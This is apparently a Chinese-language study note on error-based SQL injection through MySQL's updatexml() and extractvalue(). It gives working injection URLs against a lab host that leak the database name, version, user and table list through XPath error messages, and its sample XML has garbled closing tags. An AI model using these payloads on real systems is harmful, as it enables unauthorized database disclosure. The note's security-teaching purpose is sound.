无法使用 union 注入时, 尝试报错注入往往很有效.
情景:
表名为 [xmltable], 表中列名为 [testxml], 值是字符串类型, 保存了一段xml文本:
<class id="WNCDC20230927">
<student sequence="1">
<id>WNCD0001id>
<name>张三name>
<sex>男sex>
<age>22age>
<degree>本科degree>
<schoo1>华北电力schoo1>
student>
<student sequence="2">
<id>WNCDC0002id>
<name>李四name>
<sex>女sex>
<age>21age>
<degree>本科degree>
<schoo1>南方科技schoo1>
student>
class>
sql语句读写xml:
extractvalue() 函数, updatexml() 函数
# 查询 的 name
select extractvalue(testxml, '//student[@sequence="1"]/name') from xmltable;
# 修改 的 name 为 王五
update learn.xmltable set testxml =
updatexml(testxml, '//student[@sequence="1"]/name', "王五 ")
利用 xpath 字符串的语法错误进行注入.
情景:
url: http://192.168.112.200/security/read.php?id=1
说明:
0x7e 是ASCII码, 对应的字符是波浪线 ~, 波浪线不是一个有效的xpath路径字符串, 那么执行sql语句就会报错.
从报错信息中可以查看到探测的信息.
当然换成其他的符号也可以, 不一定必须用波浪线, 只要能引起xpath语法错误即可.
注入:
# 参数中的 2 个 1 无所谓是什么值, 重点是第二个参数中 concat() 函数中连接了 0x7e 与 想要执行的语句.
# 这个语句在报错信息中会显示出数据库名称. 例如: XPATH syntax error: '~learn~'
http://.../?id=1 and updatexml(1, concat(0x7e, database(), 0x7e), 1)
# 显示数据库版本: XPATH syntax error: '~10.4.20-MariaDB~'
http://.../?id=1 and updatexml(1, concat(0x7e, version(), 0x7e), 1)
# 显示数据库用户: XPATH syntax error: '~root@localhost~'
http://.../?id=1 and updatexml(1, concat(0x7e, user(), 0x7e), 1)
# 执行其他 select 语句
# 查询 learn 库中所有表的名字: XPATH syntax error: '~access,article,user,xmltable~'
http://.../?id=1 and updatexml(1, concat(0x7e,
( select group_concat( table_name ) from information_schema.tables where table_schema='learn' ),
0x7e), 1)
# 原理相同
http://.../?id=1 and extractvalue(1, concat( 0x7e, database(), 0x7e ))
比如 floor() 函数注入等.
参考书籍: <代码审计: 企业级Web代码安全架构>
例如, 在php代码中使用 die() 函数屏蔽掉sql异常:
$sql = "select * from book where bookid = $id"
$result = mysqli_query( $conn, $sql ) or die( "注入没用" )
XPATH syntax error: '~ALL_PLUGINS,APPLICABLE_ROLES...'
这种情况也可以使用 limit n, m 逐个测试.